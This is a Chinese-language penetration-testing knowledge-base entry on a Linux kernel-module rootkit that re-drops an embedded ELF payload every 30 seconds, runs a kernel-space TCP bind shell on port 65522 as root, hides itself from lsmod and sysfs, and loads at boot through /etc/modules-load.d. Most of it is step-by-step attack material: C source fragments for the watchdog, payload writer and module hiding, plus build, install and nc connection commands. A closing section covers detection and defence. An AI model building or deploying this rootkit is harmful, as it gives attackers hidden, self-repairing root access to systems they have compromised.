♧ Godown 安全知识树

Linux 内核模块持久化后门:watchdog 重放 ELF + 内核 TCP bind shell + 隐藏模块与开机加载

pentest/persistence · verified

一句话结论

获得 root 后,攻击者可加载一个自定义内核模块:用 kthread watchdog 定期检查并重放内嵌 ELF 载荷,另起内核线程创建 TCP bind shell(示例端口 65522)执行命令,并通过 list_del_init/kobject_del 把模块自身从模块链表与 sysfs 中摘除;把 .ko 放入 /lib/modules/<ver>/kernel/drivers/、depmod -a 并写 /etc/modules-load.d/*.conf,即可开机自动加载并在重启后维持权限。

原理

  • 内核模块运行在 ring 0:可创建内核线程(kthread_run)、直接读写文件(filp_open/kernel_write)、调用用户态程序(call_usermodehelper)、创建内核 socket(sock_create_kern/kernel_bind/kernel_listen/kernel_accept),不受用户态权限与常规安全工具限制。
  • watchdog 载荷重放:kthread 每 30 秒检查 /tmp/test;若不存在,用 filp_open(O_CREAT|O_WRONLY|O_TRUNC, 0777) + kernel_write 把内嵌 ELF 写入,再通过 call_usermodehelper("/bin/chmod", ["chmod","755","/tmp/test"]) 设置可执行。即使运维删除载荷,模块也会在 30 秒内重建,形成“自愈”持久化。
  • 内核 TCP bind shell:模块在内核态创建监听 socket,kernel_accept 后由内核线程 kernel_recvmsg 收命令;执行方式是把命令写入 /tmp/.cmd_<jiffies>.sh,用 call_usermodehelper("/bin/sh", script, UMH_WAIT_PROC) 以 root 执行,读取 /tmp/.cmd_output 后用 kernel_sendmsg 回传,最后 rm 清理。客户端 nc <ip> 65522 即得到 root shell,ss/netstat 能看到端口但没有用户态进程与之关联。
  • 模块隐藏:hide_module() 执行 list_del_init(&mod->list) 把模块从内核模块链表摘除(lsmod//proc/modules 不再显示)、kobject_del(&mod->mkobj.kobj) 与 list_del_init(&mod->mkobj.kobj.entry) 从 sysfs 移除;模块代码与符号仍在内存中运行。
  • 开机持久化:cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/、depmod -a 更新模块依赖,创建 /etc/modules-load.d/rootkit.conf 写入模块名(如 rootkit),systemd-modules-load 在启动时自动 modprobe rootkit,无需人工 insmod。
  • 为什么可行:内核模块机制本就是合法的驱动加载通道;隐藏的是“模块列表视图”,不是代码本身。root 权限 + 未启用模块签名/Secure Boot 是前提。
  • 边界:模块需针对目标内核版本编译(内核 ABI 变化会加载失败/崩溃);Secure Boot、module signature enforcement、kernel lockdown 可阻止加载;隐藏模块后 rmmod 也无法按名卸载,需重启或直接操作内核内存。

触发条件

  • 攻击者已获得 root(或 CAP_SYS_MODULE),可执行 insmod/modprobe。
  • 目标内核允许加载未签名/自编译模块(Secure Boot 关闭或已签名),且内核版本与模块编译环境匹配。
  • 可写 /lib/modules/$(uname -r)/、/etc/modules-load.d/,并能执行 depmod。
  • 目标允许出站/入站到后门端口(示例 65522),或攻击者可主动连接。
  • 需要隐藏时,hide_module() 的字段偏移与目标内核版本匹配(struct module 布局随版本变化)。

利用步骤

  1. 在目标内核版本环境编译 rootkit.ko(obj-m += rootkit.o,make -C /lib/modules/$(uname -r)/build M=$(PWD) modules)。
  2. 模块初始化:创建 watchdog 线程与 TCP server 线程;TCP server sock_create_kern → kernel_bind(0.0.0.0:65522) → kernel_listen。
  3. watchdog 每 30 秒检查并重放内嵌 ELF 到 /tmp/test(filp_open + kernel_write + call_usermodehelper chmod)。
  4. 客户端连接后,内核线程收命令、写临时脚本、call_usermodehelper("/bin/sh", script, UMH_WAIT_PROC) 执行并回传输出。
  5. 调用 hide_module() 从 lsmod//proc/modules/sysfs 移除模块。
  6. 持久化:复制 .ko 到 /lib/modules/$(uname -r)/kernel/drivers/,depmod -a,写 /etc/modules-load.d/rootkit.conf(内容为模块名),重启验证自动加载。
  7. 验证:nc <target> 65522 执行 id 得到 root;lsmod | grep rootkit 为空但端口可用。
  8. 清理/取证时注意:模块已从链表摘除,常规 rmmod 找不到;需重启进入可信环境或使用内核调试/内存取证。

PoC

// rootkit.c 关键片段(完整模块需按目标内核补全头文件与错误处理)
#include <linux/module.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/fs.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/tcp.h>
#include <linux/uaccess.h>

static struct task_struct *watchdog_thread, *server_thread;
static struct socket *listen_socket;

static unsigned char payload[] = { /* 内嵌 ELF 字节 */ };

static int file_exists(const char *filename) {
    struct file *f = filp_open(filename, O_RDONLY, 0);
    if (IS_ERR(f)) return 0;
    filp_close(f, NULL);
    return 1;
}

static int create_and_execute_binary(void) {
    struct file *f; loff_t pos = 0; ssize_t ret;
    f = filp_open("/tmp/test", O_CREAT | O_WRONLY | O_TRUNC, 0777);
    if (IS_ERR(f)) return PTR_ERR(f);
    ret = kernel_write(f, payload, sizeof(payload), &pos);
    filp_close(f, NULL);
    if (ret > 0) {
        char *argv[] = { "/bin/chmod", "755", "/tmp/test", NULL };
        char *envp[] = { "HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
        call_usermodehelper("/bin/chmod", argv, envp, UMH_WAIT_EXEC);
    }
    return ret;
}

static int watchdog_func(void *data) {
    while (!kthread_should_stop()) {
        if (!file_exists("/tmp/test")) create_and_execute_binary();
        msleep(30000);
    }
    return 0;
}

static void hide_module(void) {
    struct module *mod = THIS_MODULE;
    list_del_init(&mod->list);
    kobject_del(&mod->mkobj.kobj);
    list_del_init(&mod->mkobj.kobj.entry);
}

static int __init rootkit_init(void) {
    watchdog_thread = kthread_run(watchdog_func, NULL, "kwatchdog_thread");
    server_thread = kthread_run(tcp_server_func, NULL, "ktcp_server");  // 创建 65522 bind shell
    hide_module();
    return 0;
}
module_init(rootkit_init);
# 构建与安装
make -C /lib/modules/$(uname -r)/build M=$PWD modules
sudo cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/
sudo depmod -a
echo rootkit | sudo tee /etc/modules-load.d/rootkit.conf
sudo modprobe rootkit
nc <target> 65522          # Kernel Command Server - Enter commands to execute
验证:id 返回 uid=0(root);lsmod | grep rootkit 无输出;ss -lntp 显示 :65522 但无用户态进程。

变体与关联

  • 变体:watchdog 不重放 ELF,而是定期检查/重启用户态 C2 进程,或用 call_usermodehelper 直接执行命令。
  • 变体:bind shell 换成反向连接、ICMP/DNS 隧道、hook sys_call_table 隐藏端口/文件/进程。
  • 变体:不使用 /etc/modules-load.d,而写 /etc/rc.local、systemd unit、initramfs,或修改内核镜像;也可用 insmod 后立即隐藏模块。
  • 变体:模块签名可伪造/窃取目标厂商密钥,或利用合法签名驱动(BYOVD)加载。
  • 关联:[[code-analysis-reverse-linux-lkm-prefix-file-hiding]](LKM 隐藏文件的取证与检测)、[[pentest-persistence-linux-ld-so-preload-global]](用户态全局预加载持久化)、[[binary-pwn-kernel-module-ioctl-user-function-pointer-call]](LKM 自身漏洞/利用)。

检测与防御

  • 防御:启用 Secure Boot + 内核模块签名强制(module.sig_enforce=1)与 kernel lockdown;生产环境禁止加载未签名/非发行版模块。
  • 防御:只读/完整性监控 /lib/modules、/etc/modules-load.d、/etc/modprobe.d;用 AIDE/dm-verity 检测新增 .ko。
  • 检测:dmesg 中模块加载/卸载日志与 lsmod 不一致;/proc/modules 为空但 /sys/module/<name> 或 /proc/kallsyms 中出现未知模块符号;/lib/modules 下出现额外 .ko。
  • 检测:监听端口(如 65522)在 ss/netstat 中存在但没有用户态进程(ss -p 无 pid),且连接后返回 shell/命令提示;无 userspace 进程却持续有内核线程(kthreadd 子线程)活动。
  • 响应:内存/内核取证(crash dump、Volatility)、检查模块链表与 kobject、从可信介质重启;轮换凭据并审计持久化点。